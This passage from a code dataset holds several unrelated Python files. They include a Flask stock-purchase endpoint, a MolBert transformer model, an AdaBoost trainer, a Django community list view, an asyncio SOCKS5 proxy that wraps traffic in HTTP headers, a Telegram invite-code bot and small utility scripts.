payload\n parser.add_argument('quantity',\n type=float,\n required=True,\n help='This field cannot be left blank!')\n\n parser.add_argument('price',\n type=float,\n required=True,\n help='This field cannot be left blank!')\n\n parser.add_argument('symbol',\n type=str,\n required=True,\n help='This field cannot be left blank!')\n\n parser.add_argument('open',\n type=float,\n required=True,\n help='This field cannot be left blank!')\n\n # Post Request\n @security.myJWT.requires_auth\n def post(self):\n # We store the data that we parsed into a Variable\n\n data = Transactions.parser.parse_args()\n tokenInfo = UserModel.find_by_id_token(request.idToken)\n localId = tokenInfo['users'][0]['localId']\n\n aproved = UserModel.purchase_stock(data['quantity'], data['price'], data['symbol'], localId, data['open'])\n userDetails = UserModel.get_user_details(localId)\n\n if aproved:\n return {'success': True, 'userdetails': userDetails}, 201\n\n return {'success': False, 'message': 'Not enough credits!'}, 201\n","sub_path":"my-stock-portfolio-api/code/resources/transactions.py","file_name":"transactions.py","file_ext":"py","file_size_in_byte":1649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"26894086","text":"# !/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n# author: chinshin\r\n# datetime: 2020/4/20 15:34\r\nimport socket\r\nimport torch\r\nimport torch.nn as nn\r\nimport numpy as np\r\nimport scipy.sparse as sp\r\n\r\nfrom .embedding import MolBertEmbedding\r\nfrom .transformer import TransformerBlock\r\n\r\nhostname = socket.gethostname()\r\n\r\n\r\ndef normalize_adj(adj: sp.csr_matrix) -> sp.coo_matrix:\r\n adj = sp.coo_matrix(adj)\r\n # contain self-loop\r\n adj_ = adj + sp.eye(adj.shape[0])\r\n # eliminate self-loop\r\n # adj_ = adj\r\n rowsum = np.array(adj_.sum(0))\r\n degree_mat_inv_sqrt = sp.diags(np.power(rowsum, -0.5).flatten())\r\n adj_norm = adj_.dot(degree_mat_inv_sqrt).transpose().dot(degree_mat_inv_sqrt).tocoo()\r\n return adj_norm\r\n\r\n\r\nclass MolBert(nn.Module):\r\n \"\"\"\r\n BERT model : Bidirectional Encoder Representations from Transformers.\r\n \"\"\"\r\n\r\n def __init__(self, vocab_size, hidden=768, n_layers=12, attn_heads=12, dropout=0.1,\r\n residual_type='naive', without_ffn=False):\r\n \"\"\"\r\n :param vocab_size: vocab_size of total words\r\n :param hidden: BERT model hidden size\r\n :param n_layers: numbers of Transformer blocks(layers)\r\n :param attn_heads: number of attention heads\r\n :param dropout: dropout rate\r\n \"\"\"\r\n super(MolBert, self).__init__()\r\n self.hidden = hidden\r\n self.n_layers = n_layers\r\n self.attn_heads = attn_heads\r\n self.residual_type = residual_type\r\n self.without_ffn = without_ffn\r\n\r\n # paper noted they used 4*hidden_size for ff_network_hidden_size\r\n self.feed_forward_hidden = 4 * hidden\r\n\r\n # embedding for Bert\r\n self.embedding = MolBertEmbedding(\r\n vocab_size=vocab_size, embed_size=hidden\r\n )\r\n\r\n # # add params for graph residual learning\r\n # self.residual_weights = nn.ModuleList(\r\n # [Parameter(torch.FloatTensor(hidden, hidden))\r\n # for _ in range(n_layers)]\r\n # )\r\n # for i in range(n_layers):\r\n # stddev = 1. / math.sqrt(hidden)\r\n # self.residual_weights[i].data.uniform_(-stddev, stddev)\r\n\r\n # add params for gated learning implemented by LSTM\r\n # self.update_layer = nn.GRUCell(hidden, hidden)\r\n\r\n self.transformer_blocks = nn.ModuleList(\r\n [TransformerBlock(hidden, attn_heads, hidden * 4, dropout=dropout,\r\n residual_type=residual_type, without_ffn=without_ffn)\r\n for _ in range(n_layers)]\r\n )\r\n\r\n def forward(self, x, segment_info, adj=None):\r\n # attention masking for padded token\r\n # (batch_size, seq_len, seq_len)\r\n temp_mask = (x > 0).unsqueeze(1).repeat(1, x.size(1), 1)\r\n temp_mask_t = temp_mask.transpose(1, 2)\r\n mask = temp_mask * temp_mask_t\r\n mask = mask.unsqueeze(1)\r\n # print(mask)\r\n # torch.ByteTensor([batch_size, 1, seq_len, seq_len)\r\n # mask = (x > 0).unsqueeze(1).repeat(1, x.size(1), 1).unsqueeze(1)\r\n # add adjacency matrix as a constraint\r\n # adj: (batch_size, 1, seq_len, seq_len)\r\n if adj is not None:\r\n if hostname.startswith('serverx51'):\r\n adj = adj.unsqueeze(1)\r\n mask = mask.float()\r\n else:\r\n adj = adj.unsqueeze(1).byte()\r\n mask *= adj\r\n # adj: (batch_size, seq_len, seq_len)\r\n adj = adj.squeeze(1).float().detach().cpu().numpy()\r\n adj = [torch.FloatTensor(normalize_adj(sub_adj).todense()) for sub_adj in adj]\r\n adj = torch.stack(adj, dim=0)\r\n if torch.cuda.is_available():\r\n adj = adj.cuda()\r\n\r\n # embedding the indexed sequence to sequence of vectors\r\n x = self.embedding(x, segment_info)\r\n # print(x.size())\r\n outputs = []\r\n\r\n # running over multiple transformer blocks\r\n raw_x = x.clone()\r\n\r\n # modify:mask = None\r\n # mask = None\r\n for i, transformer in enumerate(self.transformer_blocks):\r\n x = transformer.forward(x, mask, raw_x, adj)\r\n outputs.append(x)\r\n # print(x.size())\r\n return x, outputs\r\n\r\n def get_input_embedding(self):\r\n \"\"\"\r\n Get model's input embeddings\r\n \"\"\"\r\n return self.embedding.token\r\n\r\n def set_input_embeddings(self, value):\r\n \"\"\"\r\n Set model's input embeddings\r\n \"\"\"\r\n self.embedding.token = value\r\n\r\n def get_output_embeddings(self):\r\n \"\"\" Get model's output embeddings\r\n Return None if the model doesn't have output embeddings\r\n \"\"\"\r\n return None\r\n\r\n def tie_weights(self):\r\n \"\"\" Make sure we are sharing the input and output embeddings.\r\n Export to TorchScript can't handle parameter sharing so we are cloning them instead.\r\n \"\"\"\r\n output_embeddings = self.get_output_embeddings()\r\n if output_embeddings is not None:\r\n self._tie_or_clone_weights(output_embeddings, self.get_input_embeddings())\r\n\r\n def _tie_or_clone_weights(self, output_embeddings, input_embeddings):\r\n \"\"\" Tie or clone module weights depending of weither we are using TorchScript or not\r\n \"\"\"\r\n if self.config.torchscript:\r\n output_embeddings.weight = nn.Parameter(input_embeddings.weight.clone())\r\n else:\r\n output_embeddings.weight = input_embeddings.weight\r\n\r\n if hasattr(output_embeddings, 'bias') and output_embeddings.bias is not None:\r\n output_embeddings.bias.data = torch.nn.functional.pad(\r\n output_embeddings.bias.data,\r\n (0, output_embeddings.weight.shape[0] - output_embeddings.bias.shape[0]),\r\n 'constant',\r\n 0\r\n )\r\n if hasattr(output_embeddings, 'out_features') and hasattr(input_embeddings, 'num_embeddings'):\r\n output_embeddings.out_features = input_embeddings.num_embeddings\r\n\r\n @classmethod\r\n def from_pretrained(cls, pretrained_model_path, **model_kwargs):\r\n output_loading_info = model_kwargs.get('output_loading_info', None)\r\n # Instantiate model.\r\n model = cls(**model_kwargs)\r\n\r\n state_dict = torch.load(pretrained_model_path, map_location='cpu')\r\n\r\n missing_keys = []\r\n unexpected_keys = []\r\n error_msgs = []\r\n\r\n # Convert old format to new format if needed from a PyTorch state_dict\r\n old_keys = []\r\n new_keys = []\r\n for key in state_dict.keys():\r\n new_key = None\r\n if 'gamma' in key:\r\n new_key = key.replace('gamma', 'weight')\r\n if 'beta' in key:\r\n new_key = key.replace('beta', 'bias')\r\n if key == 'lm_head.decoder.weight':\r\n new_key = 'm_head.weight'\r\n if new_key:\r\n old_keys.append(key)\r\n new_keys.append(new_key)\r\n for old_key, new_key in zip(old_keys, new_keys):\r\n state_dict[new_key] = state_dict.pop(old_key)\r\n\r\n # copy state_dict so _load_from_state_dict can modify it\r\n metadata = getattr(state_dict, '_metadata', None)\r\n state_dict = state_dict.copy()\r\n if metadata is not None:\r\n state_dict._metadata = metadata\r\n\r\n # PyTorch's `_load_from_state_dict` does not copy parameters in a module's descendants\r\n # so we need to apply the function recursively.\r\n def load(module, prefix=''):\r\n local_metadata = {} if metadata is None else metadata.get(prefix[:-1], {})\r\n module._load_from_state_dict(\r\n state_dict, prefix, local_metadata, True, missing_keys, unexpected_keys, error_msgs)\r\n for name, child in module._modules.items():\r\n if child is not None:\r\n load(child, prefix + name + '.')\r\n\r\n start_prefix = ''\r\n mdoel_to_load = model\r\n load(mdoel_to_load, prefix=start_prefix)\r\n if len(missing_keys) > 0:\r\n print(\"Weights of {} not initialized from pretrained model: {}\".format(\r\n model.__class__.__name__, missing_keys))\r\n if len(unexpected_keys) > 0:\r\n print(\"Weights from pretrained model not used in {}: {}\".format(\r\n model.__class__.__name__, unexpected_keys))\r\n if len(error_msgs) > 0:\r\n raise RuntimeError('Error(s) in loading state_dict for {}:\\n\\t{}'.format(\r\n model.__class__.__name__, \"\\n\\t\".join(error_msgs)))\r\n\r\n if hasattr(model, 'tie_weights'):\r\n model.tie_weights() # make sure word embedding weights are still tied\r\n\r\n # Set model in evaluation mode to desactivate DropOut modules by default\r\n model.eval()\r\n\r\n if output_loading_info:\r\n loading_info = {\"missing_keys\": missing_keys, \"unexpected_keys\": unexpected_keys, \"error_msgs\": error_msgs}\r\n return model, loading_info\r\n\r\n return model\r\n","sub_path":"bert/model/bert.py","file_name":"bert.py","file_ext":"py","file_size_in_byte":9032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"286983923","text":"import os\nimport sys\nimport re\n\n\n\nmodel = r'^.*(\\(\\d{4}\\)).*$'\n#be note the expression of [.]* is wrong, does not equal to .*,\n##because quote \"Special characters lose their special meaning inside sets\" end quote\nmodelx = r'.*([\\(]\\d{4}[\\)]).*'\nmodely = r'^.*([.]*).*$'\n\ntarget = 'neverwantto(2016)liveinreallife'\ntargety = 'neverwantto(2016)l....iveinreallife'\n\nselect = re.match(model, target)\nselectx = re.search( modelx, target )\nselecty = re.match( modely, targety )\n\nprint(\"-{0}- \\n\".format(selecty.group(1)))\n\n","sub_path":"rExpression.py","file_name":"rExpression.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"263426883","text":"#!/usr/bin/env python\nimport website.bigfoot.models as models\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom website.bigfoot.utils import config, siteaction, dataplus, codejar_network\nimport string, sys\n\ndef getCommunities(page_type='', ref_id=0):\n communities = []\n has_more = False\n \n if page_type == 'next':\n communities = models.Community.objects.filter(id__lt=ref_id).order_by('-id')[:config.members_per_page + 1]\n elif page_type == 'prev':\n communities = models.Community.objects.filter(id__gt=ref_id).order_by('id')[:config.members_per_page + 1]\n else:\n communities = models.Community.objects.all().order_by('-id')[:config.members_per_page + 1]\n \n communities = list(communities)\n if len(communities) > config.members_per_page:\n has_more = True\n communities = communities[:-1]\n \n if page_type == 'prev': communities.reverse()\n for comm in communities:\n comm.image_url = dataplus.getStaticUrl(comm.image_size2_file_path)\n \n return communities, has_more\n \ndef handle(request):\n last_id = dataplus.dictGetVal(request.REQUEST, 'last_id', 0, string.atoi)\n first_id = dataplus.dictGetVal(request.REQUEST, 'first_id', 0, string.atoi)\n \n has_prev_page = False\n has_next_page = False\n \n if last_id:\n has_prev_page = True\n communities, has_next_page = getCommunities('next', last_id)\n elif first_id:\n has_next_page = True\n communities, has_prev_page = getCommunities('prev', first_id)\n else:\n communities, has_next_page = getCommunities()\n \n prev_btn = ''\n next_btn = ''\n if communities:\n total_communities = models.Community.objects.count()\n \n if has_prev_page:\n prev_btn = 'PREV'\n if has_next_page:\n next_btn = 'NEXT'\n \n buttons = prev_btn + '  ' + next_btn\n \n return siteaction.render_to_response('communitylist.htm',\n { 'communities': communities,\n 'showing_howmany': '',#showing_howmany,\n 'buttons': buttons })\n","sub_path":"website/bigfoot/views/communitylist.py","file_name":"communitylist.py","file_ext":"py","file_size_in_byte":2311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"591112083","text":"import time\r\nimport math\r\nimport csv\r\ndef cek_error(data,y,w,len_x):\r\n\te=0\r\n\tfor i in range(0,len_x):\r\n\t\tif(y[i]!=data[i]):\r\n\t\t\te+=w[i]\r\n\treturn e\r\n\r\ndef cari_alfa(val):\r\n\treturn 1 if val==0 else 0.5*math.log((1.0-val)/val)\r\n\r\ndef cari_c_x(val):\r\n\treturn [math.exp(-val),math.exp(val)]\r\n\r\ndef update_bobot(tr,opr,cx,len_x,x,y,w):\r\n\t#error 1 or -1\r\n\tt_er=[]\r\n\ter=[]\r\n\tfor i in range(0,len_x):\r\n\t\tif opr==1:\r\n\t\t\tif(x[i]=tr):\r\n\t\t\t\tt_er.append(1)\r\n\t\t\telse:\r\n\t\t\t\tt_er.append(-1)\r\n\t\tif(t_er[i]!=y[i]):\r\n\t\t\ter.append(1)\r\n\t\telse:\r\n\t\t\ter.append(0)\r\n\t#pre normalisasi\r\n\tpre_norm=[]\r\n\t_z=0\r\n\tfor i in range(0,len_x):\r\n\t\tif(er[i]==1):\r\n\t\t\t__z=w[i]*cx[1]\r\n\t\t\t_z+=__z\r\n\t\t\tpre_norm.append(__z)\r\n\t\telse:\r\n\t\t\t__z=w[i]*cx[0]\r\n\t\t\t_z+=__z\r\n\t\t\tpre_norm.append(__z)\r\n\tfor i in range(0,len_x):\r\n\t\tw[i]=pre_norm[i]/_z\r\n\treturn w\r\n\r\ndef hitungClassifier(len_x,x,y,w,hipo):\r\n\t#menyimpan jumlah error,treshold, dan operator\r\n\tt_e=[]\r\n\tfor i in hipo:\r\n\t\th_t=[]\r\n\t\tfor j in range(0,len_x):\r\n\t\t\tif(x[j]=i):\r\n\t\t\t\th_t.append(1)\r\n\t\t\telse:\r\n\t\t\t\th_t.append(-1)\r\n\t\tt_e.append([cek_error(h_t,y,w,len_x),i,0])\r\n\t#cari nilai treshold terkecil\r\n\tmin_t=t_e[0]\r\n\tfor i in range(0,len(t_e)):\r\n\t\tif(min_t[0]>t_e[i][0]):\r\n\t\t\tmin_t=t_e[i]\r\n\treturn min_t\r\n\r\ndef pengujian(val,FinalClassifier):\r\n\thasil=0\r\n\tfor i in range(0,len(FinalClassifier)):\r\n\t\tbil=0\r\n\t\tif FinalClassifier[i][2]==1:\r\n\t\t\tif valFinalClassifier[i][1]:\r\n\t\t\t\tbil=1\r\n\t\t\telse:\r\n\t\t\t\tbil=-1\r\n\t\thasil+=bil*FinalClassifier[i][0]\r\n\treturn -1 if hasil<0 else 1\r\n\r\ndef training(x,y,acr_rate):\r\n\t#bobot\r\n\tw=[] \r\n\t#hipotesis\r\n\th=[] \r\n\t#classifier final\r\n\tFinalClassifier=[]\r\n\t#operator\r\n\top=[]\r\n\t#\r\n\tz=[]\r\n\t#error per clasifier\r\n\terr=[]\r\n\t#alfa_t per classifier\r\n\talfa_t=[]\r\n\t#treshold\r\n\tt=[]\r\n\tmin_x=min(x)-1\r\n\tmax_x=max(x)+1\r\n\t#panjang data\r\n\tlen_x=len(x)\r\n\r\n\t#c x\r\n\tc_x=[]\r\n\r\n\t# #inisialisasi bobot awal\r\n\tw=[]\r\n\tj_x=0\r\n\tj_y=0\r\n\t# for i in range(len_x):\r\n\t# \tw.append(1/len_x)\r\n\tfor i in range(len_x):\r\n\t\tif y[i]==1:\r\n\t\t\tj_x+=1\r\n\t\telse:\r\n\t\t\tj_y+=1\r\n\r\n\tfor i in range(len_x):\r\n\t\tif y[i]==1:\r\n\t\t\tw.append(1/(2*j_x))\r\n\t\telse:\r\n\t\t\tw.append(1/(2*j_y))\r\n\t\r\n\thipo=[]\r\n\t#jumlah data\r\n\tln=max_x-min_x\r\n\t#perkiraan bobot\r\n\r\n\ttmp=min_x\r\n\tfor i in range(min_x,ln*2):\r\n\t\tif(tmp>=min_x and tmp<=max_x):\r\n\t\t\thipo.append(tmp)\r\n\t\ttmp+=0.5\r\n\takurasi=0\r\n\tloop=0\r\n\tnow=time.time()\r\n\terr=[]\r\n\talfa_t=[]\r\n\top=[]\r\n\tc_x=[]\r\n\tt=[]\r\n\tFinalClassifier=[]\r\n\twhile akurasi=cascade[i][j][k][1] else -1\r\n\t\t\t\tval+=bil*cascade[i][j][k][0]\r\n\t\t\tval=-1 if val<0 else 1\r\n\t\t\tch1.append(val)\r\n\t\tch.append(ch1)\r\n\r\ndef main():\r\n\t#baca file csv\r\n\tdir_x='output/feature.csv'\r\n\tdir_y='output/target.csv'\r\n\tdata_x =list(csv.reader(open(dir_x)))\r\n\tdata_y =list(csv.reader(open(dir_y)))\r\n\tclassifier=[]\r\n\tfor i in range(len(data_x)):\r\n\t\tprint(f\" fitur ke {i+1} :\")\r\n\t\tx=list(map(int,data_x[i]))\r\n\t\ty=list(map(int,data_y[i]))\r\n\t\tclassifier.append(training(x,y,100))\r\n\r\n\t#save file\r\n\twith open(\"output/classifier.csv\", 'w') as resultFile:\r\n\t\twr = csv.writer(resultFile, lineterminator='\\n')\r\n\t\twr.writerows(classifier)\r\n\r\nif __name__==\"__main__\":\r\n\tmain()","sub_path":"Training.py","file_name":"Training.py","file_ext":"py","file_size_in_byte":4470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"371446415","text":"import asyncio\nimport struct\nimport socket\n\n\nasync def getRequest(reader):\n Request=b''\n while True:\n data = await reader.read(100)\n if (data != b''):\n print(data)\n Response=Response+data\n if (data.__len__() < 100):\n break;\n else:\n break\n return Request\n\nasync def addHeadSend(Rwriter,message):\n #Get请求不允许附带信息,因此采用Post\n httpHead=b'POST / HTTP/1.1\\r\\n'+\\\n b'Host: www.baidu.com\\r\\n'+\\\n b'Connection: keep-alive\\r\\n'+\\\n b'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.119 Safari/537.36\\r\\n'+\\\n b'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\\r\\n'+\\\n b'Accept-Encoding: gzip, deflate, br\\r\\n'+\\\n b'Accept-Language: zh-CN,zh;q=0.9\\r\\n'+\\\n b'\\r\\n'\n Rwriter.write(httpHead+message)\n\n\n#获取去报头响应\nasync def delHeadGet(Rreader):\n Response=b''\n while True:\n data=await Rreader.readline()\n if(data==b'\\r\\n'):\n break;\n while True:\n data=await Rreader.read(100)\n if(data!=b''):\n Response=Response+data\n if(data.__len__()<100):\n break\n else:\n break\n return Response\n\n\n\nasync def handler(reader, writer):\n # 第一次请求\n local = writer.get_extra_info(\"sockname\")\n bdhost = socket.inet_aton(local[0])\n bdport = struct.pack(\">H\", local[1])\n # bdhost,byte型的ip地址,bdport,byte型的端口地址\n # ?????\n\n data = await reader.read(257)\n print(\"第一次请求\", data)\n data = data[2:]\n try:\n data.index(b'\\x00')\n except Exception as err:\n print(\"只支持\\x00访问\")\n return\n # 第一次响应\n writer.write(b'\\x05\\x00')\n # 读取第二次请求\n bdata = await reader.read(4)\n bVer = bdata[0:1]\n bCmd = bdata[1:2]\n bRsv = bdata[2:3]\n bAtype = bdata[3:4]\n\n # 解析目标得到byte型的目标ip序列、byte型读的那口地址\n sHostIP = ''\n iHostPort = ''\n\n if (bVer != b'\\x05'):\n print(\"版本不支持\")\n return\n if (bCmd != b'\\x01'):\n print(\"请求类型不为connect\")\n return\n\n # 获取ip\n if (bAtype == b'\\x01'): # ipv4型地址\n print(\"地址类型为ipv4\")\n bHostIP = await reader.read(4)\n sHostIP = bHostIP.decode()\n if (bAtype == b'\\x03'):\n # 读地址长度\n print(\"地址类型为域名\")\n bLength = await reader.read(1)\n iLength = int.from_bytes(bLength, byteorder='big', signed=False)\n # 读域名\n bHostName = await reader.read(iLength)\n if (bHostName == b'www.google.com.hk' or bHostName==b'accounts.google.com' or bHostName==b'clients1.google.com'):\n writer.close()\n return\n print(bHostName)\n sHostName = bHostName.decode()\n sHostIP = socket.gethostbyname(sHostName)\n if (bAtype == b'\\x04'):\n bHostIP = await reader.read(16)\n sHostIP = bHostIP.decode()\n # 获取端口\n bHostPort = await reader.read(2)\n height, low = struct.unpack(\"BB\", bHostPort)\n iHostPort = height * 256 + low\n\n\n try:\n # 开启与远端连接\n Rreader, Rwriter = await asyncio.open_connection(\"127.0.0.1\", 3000)\n print(\"与服务器连接成功\")\n\n\n # 发送端口信息\n bHostIP=sHostIP.encode(encoding=\"utf-8\")\n print(bHostIP)\n await addHeadSend(Rwriter,bHostIP+b'\\r\\n'+bHostPort+b'\\r\\n')\n print(\"发送连接目标信息\")\n\n\n #接收确认信息\n Response=await delHeadGet(Rreader)\n #信息为b'True'和b'Flse'\n if(Response!=b'True\\r\\n'):\n #返回失败数据报\n writer.write(b'\\x05\\xff\\x00\\x01123456')\n await writer.drain()\n Rwriter.close()\n writer.close()\n return\n\n print(\"目标ip\", sHostIP, \"目标端口\", iHostPort)\n # 消息返回\n writer.write(b\"\\x05\\x00\\x00\\x01\" + bdhost + bdport)\n await writer.drain()\n\n\n Request=b''\n data=b''\n while True:\n data=await reader.read(100)\n if(data!=''):\n Request+=data\n if(data.__len__()<100):\n break;\n else:\n break\n\n #加报头\n #发送给远端\n await addHeadSend(Rwriter,message=Request)\n\n #从远端读取数据报\n #删除报头\n Response=await delHeadGet(Rreader)\n print(Response)\n #返回\n writer.write(Response)\n await writer.drain()\n writer.close()\n Rwriter.close()\n return\n except Exception as err:\n print(\"发生错误\", err)\n writer.close()\n\n\nasync def fHandler(reader,writer):\n try:\n await asyncio.wait_for(handler(reader,writer),timeout=4.0)\n except asyncio.TimeoutError:\n print(\"请求超时\")\n return\n return\n\n\nasync def main():\n asyncio.Semaphore(100)#限定并发数\n\n server = await asyncio.start_server(fHandler, '127.0.0.1', 8888)\n async with server:\n await server.serve_forever()\n\n\nasyncio.run(main())\n","sub_path":"ClientProxy.py","file_name":"ClientProxy.py","file_ext":"py","file_size_in_byte":5319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"393747480","text":"#-*- coding: utf-8 -*-\n\nimport MyHMM\nimport dill\nimport warnings\nimport re\n\n# 状態数を変化させた際に符号化への影響を調べる\n\n\"\"\"\nmodel = MyHMM.MyHMM(30)\nwith open(\"../tmp/HMM_results.dill\", \"rb\") as f:\n hmm_results = dill.load(f)\nfor m in range(1, len(hmm_results)+1):\n for d in hmm_results[\"make\"+str(m)]:\n print(d)\n\nexit()\n\"\"\"\nwith warnings.catch_warnings():\n warnings.simplefilter(\"ignore\")\n results = {}\n for n in range(1,11):\n num = n*5\n model = MyHMM.MyHMM(num)\n model.experiment_0(False)\n with open(\"tmp/HMM_results.dill\", \"rb\") as f:\n hmm_results = dill.load(f)\n # 状態数をキーに設定\n results[num] = {}\n results[num][\"examples\"] = []\n # 符号長を取得\n results[num][\"lengths\"] = []\n for m in range(1, len(hmm_results)+1):\n # 取り合えずの符号列の例を一つずつ取得\n results[num][\"examples\"].append(hmm_results[\"make\"+str(m)][0])\n length = 0\n count = 0\n for d in hmm_results[\"make\"+str(m)]:\n length = length + len(d)\n count = count + 1\n results[num][\"lengths\"].append(length/count)\n # 一度しか登場しない文字の比率と\n # 一度も登場しない文字の比率を調べる\n # results[num][\"rate_0\"] = []\n # results[num][\"rate_1\"] = []\n hist = {}\n for m in range(1, len(hmm_results)+1):\n for d in hmm_results[\"make\"+str(m)]:\n \"\"\"\n import copy\n mrd = copy.deepcopy(d)\n mrd.sort()\n print(mrd)\n \"\"\"\n for c in d:\n if c not in hist.keys():\n hist[c] = len([x for x in d if x == c])\n else:\n hist[c] = max(hist[c], len([x for x in d if x == c]))\n results[num][\"rate_0\"] = (num - len(hist))/num\n results[num][\"rate_1\"] = len([x for x in hist if hist[x] == 1])/num\n\n\n print(\"====lengths====\")\n for n in range(1, 11):\n N = n*5\n print(str(N) + \":\" + str(results[N][\"lengths\"]))\n print(\"====rate_0====\")\n for n in range(1, 11):\n N = n*5\n print(str(N) + \":\" + str(results[N][\"rate_0\"]))\n print(\"====rate_1====\")\n for n in range(1, 11):\n N = n*5\n print(str(N) + \":\" + str(results[N][\"rate_1\"]))\n # 結果を csv 出力\n with open(\"tmp/results.csv\", \"w\") as f:\n for n in range(1, 11):\n N = n*5\n f.write(str(N) + \",\")\n for l in results[N][\"lengths\"]:\n f.write(str(l) + \",\")\n f.write(str(results[N][\"rate_1\"]) + \",\")\n for e in results[N][\"examples\"]:\n f.write(re.sub(\",\", \".\", str(e)) + \",\")\n f.write(\"\\n\")\n","sub_path":"python/HDP_HMM/tasks/CompareaboutNComponents.py","file_name":"CompareaboutNComponents.py","file_ext":"py","file_size_in_byte":2881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"472760631","text":"from babelpr import Message\nfrom babelpr.LeagueOfLegends.KassadinSummoner import KassadinSummoner\nfrom babelpr.LeagueOfLegends.LolkingSummoner import LolkingSummoner\nfrom babelpr.commands import ExplicitCommand\nimport exceptions\n\nclass LastCommand(ExplicitCommand):\n \n def __init__(self, chatbot):\n ExplicitCommand.__init__(self, chatbot)\n \n self.triggers = ['last']\n self.name = 'last'\n self.description = \"Tells you info about the last game a summoner played\"\n self.syntax = \"#last SUMMONERNAME[,SKIP_NUM]\"\n \n def processCommand(self, message, trigger, arguments):\n assert isinstance(message, Message.Message)\n \n arg_parts = arguments.split(',')\n if len(arg_parts) > 2:\n return \"Invalid syntax. Usage: %s\" % self.syntax\n \n summoner_name = arg_parts[0].strip() \n if len(arg_parts) == 2:\n try:\n skip_num = int(arg_parts[1].strip())\n except exceptions.ValueError:\n return \"Invalid syntax. Usage: %s\" % self.syntax\n else:\n skip_num = 0 \n \n try:\n last_match = self.getLastMatch(KassadinSummoner(summoner_name), skip_num)\n except:\n last_match = None\n if last_match is None:\n try:\n last_match = self.getLastMatch(LolkingSummoner(summoner_name), skip_num)\n except:\n last_match = None\n \n if last_match is None:\n return \"No recent matches for '%s' could be found. Check the summoner name or try again later\" % summoner_name\n \n return last_match.toString()\n \n def getLastMatch(self, summoner, skip_num=0):\n last_match = None\n try: \n last_match = summoner.getLastMatch(skip_num)\n except:\n last_match = None\n \n return last_match\n \n \n","sub_path":"babelpr/commands/LastCommand.py","file_name":"LastCommand.py","file_ext":"py","file_size_in_byte":1937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"7583044","text":"import telebot\nfrom resources import keyboards\nfrom core import db, registeruser, adminUser, client\n\n\nbot = telebot.TeleBot('')\n#db.init_db()\nadminUser.new_user(123)\nprint(db.print_admin_invite())\n\n\n@bot.message_handler(commands=['start'])\ndef start(message):\n msg = bot.send_message(message.chat.id, 'Введите ваш инвайт-код')\n bot.register_next_step_handler(msg, check_invite)\n\n\ndef check_invite(message):\n responseRegistration = db.use_invite_code(user_invite_code=message.text, user_tg_id=message.chat.id)\n if responseRegistration == True:\n registeruser.new_user(message.chat.id)\n msg = bot.send_message(message.chat.id, 'Добро пожаловать', reply_markup=keyboards.keyboardMainMenu)\n bot.register_next_step_handler(msg, main_menu)\n else:\n msg = bot.send_message(message.chat.id, 'Неверный инвайт-код\\nПопробуйте еще раз')\n bot.register_next_step_handler(msg, check_invite)\n if responseRegistration == 'limit = 0':\n msg = bot.send_message(message.chat.id, 'Лимит использования этого инвайт-кода исчерпан\\nПопробуйте другой')\n bot.register_next_step_handler(msg, check_invite)\n\n\n\ndef main_menu(message):\n if message.text == 'Мой инвайт-код':\n msg = bot.send_message(message.chat.id, f'Ваш инвайт код: '\n f'{db.select_invite_code(user_tg_id=message.chat.id)}',\n parse_mode='html')\n bot.register_next_step_handler(msg, main_menu)\n if message.text == 'Приглашенные':\n print(db.select_invited_users(user_tg_id=message.chat.id))\n for i in db.select_invited_users(user_tg_id=message.chat.id):\n number = 1\n bot.send_message(message.chat.id, f'''Пользователь {number}''', parse_mode='html')\n if message.text == 'Создать комнату':\n msg = bot.send_message(message.chat.id, 'Введите название комнаты: ')\n bot.register_next_step_handler(msg, create_room)\n\ndef create_room(message):\n client.create_group(message=message, group_name=message.text, admin_id=message.chat.id)\n\n\nbot.polling()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"537414444","text":"#全排列\n#给定一个可包含重复数字的序列,返回所有不重复的全排列。\n#在一定会产生重复结果集的地方剪枝。\n#我们可以在搜索之前就对候选数组排序,一旦发现这一支搜索下去可能搜索到重复的元素就停止搜索,这样结果集中不会包含重复元素。\nclass Solution:\n def permuteUnique(self,nums:list):\n def dfs(nums,size,depth,path,used,res):\n if depth==size:\n tmp=[]\n tmp.extend(path)\n res.append(tmp)\n return res\n for i in range(size):\n if not used[i]:\n if i>0 and nums[i]==nums[i-1] and not used[i-1]:\n continue\n used[i]=True\n path.append(nums[i])\n dfs(nums,size,depth+1,path,used,res)\n used[i]=False\n path.pop()\n size=len(nums)\n if size==0:\n return []\n res=[]\n used=[False for i in range(size)]\n dfs(nums,size,0,[],used,res)\n return res\nif __name__ == '__main__':\n nums=[1,1,1,2]\n solution = Solution()\n res = solution.permuteUnique(nums)\n print(res) \n","sub_path":"Week03/全排列2.py","file_name":"全排列2.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"421871654","text":"from sys import argv\nfrom spider import *\nfrom db_connection import *\n\nif __name__ == '__main__':\n script, user_id = argv[0], argv[1]\n favor = user_access(int(user_id))\n song_num = len(favor)\n recommend_table = dict()\n count = 0\n for song in favor:\n print(\"processing song \" + str(count) + \"/\" + str(song_num) + \"...\")\n count += 1\n for unique_obj in db_find('CloudMusicAssis', 'InvertedIndex', {'song_id':song}):\n user_who_likes_list = unique_obj['user_id']\n for user in user_who_likes_list:\n if user in recommend_table:\n recommend_table[user] += 1\n else:\n 